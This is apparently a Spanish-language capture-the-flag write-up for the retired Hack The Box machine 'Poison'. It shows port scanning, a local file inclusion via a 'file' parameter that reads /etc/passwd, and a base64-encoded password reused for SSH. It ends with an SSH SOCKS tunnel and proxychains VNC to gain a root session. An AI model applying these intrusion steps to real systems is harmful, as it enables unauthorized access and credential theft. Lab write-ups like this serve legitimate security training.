Skip to content

Poison HTB Write Up

image.png

1. Información del objetivo

IP de la máquina: 10.10.10.84

2. Reconocimiento inicial

2.1 Escaneo de puertos

sudo nmap -sS -p- -n -vvv -Pn --open 10.10.10.84 -oG allPorts

extractPorts allPorts

nmap -sCV -p22,80 10.10.10.84 -oN targeted

Y este es el resultado.

image.png

2.2 Enumeración de servicios

Ahora le echaremos un vistazo a la web, este nos muestra sitios para probar como por ejemplo el phpinfo.php.

image.png

3. Análisis de la aplicación web

3.1 Exploración de archivos accesibles

En este caso el archivo que mas me llama la atención es el listfiles.php y el phpinfo.php.

Una vez listado el listfiles.php este nos devuelve los siguientes archivos, aqui hay un archivo llamada pwdbackup.txt.

image.png

http://10.10.10.84/browse.php?file=pwdbackup.txt

3.2 Extracción de credenciales (pwdbackup.txt)

Si le echamos un vistazo yendo a la siguiente URL podemos ver que hay una contraseña codificada 13 veces en base64.

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=

Para decodificarlo me he ido al cyberchef y le he pasado 13 veces el base64 hasta obtener el resultado en plaintext.

image.png

Aquí ya tenemos una posible contraseña.

Charix!2#4%6&8(0

3.3 Local File Inclusion (LFI)

Si nos fijamos en la url para cargar los archivos lo hace mediante el parámetro file, aquí podemos probar un LFI.

http://10.10.10.84/browse.php?file=<path file>

Y hemos podido listar el /etc/passwd correctamente.

image.png

4. Explotación

4.1 Acceso a usuario mediante SSH

Aquí tenemos el usuario charix, así que podemos probar la contraseña anterior para conectarnos via ssh.

Y efectivamente hemos podido logearnos.

image.png

4.2 Flag de usuario

Aquí podemos leer la primera flag del usuario que se encuentra en /home/charix/user.txt.

5. Escalada de privilegios

5.1 Análisis del archivo secret.zip

Para la escalada empezaré descomprimiendo este .zip que hay en el home del usuario charix.

image.png

Lo que voy a hacer es montarme un servicio web por el puerto 4444 para pasarme el .zip a mi maquina.

Server: python -m SimpleHTTPServer 4444
Kali: wget http://10.10.10.84:4444/secret.zip

Si tratamos de descomprimirlo nos va a preguntar por una contraseña, en este caso le podemos reutilizar la contraseña inicial. Y ha funcionado.

image.png

5.2 Identificación de servicio VNC como root

Con este binario podemos utilizarlo para conectarnos mediante VNC como root. Si nos vamos a la maquina podemos ver que hay el puerto 5801 y 5901 abiertos.

netstat -an -p tcp

image.png

Para ver que el servicio esta corriendo como root podemos hacer lo siguiente.

ps aux | grep vnc

image.png

5.3 Port Forwarding y acceso a VNC

Lo que podemos hacer es un port forwarding via socks mediante ssh.

ssh -D 1080 charix@10.10.10.84

Con esto logramos acceder a servicios internos de la red remota.

Ahora nos conectaremos por vnc usando el secret.

proxychains4 vncviewer 127.0.0.1:5901 -passwd secret

5.4 Acceso a root y flag final

Y podemos ver que se nos abre la sesión como root.

image.png

Autor: Astro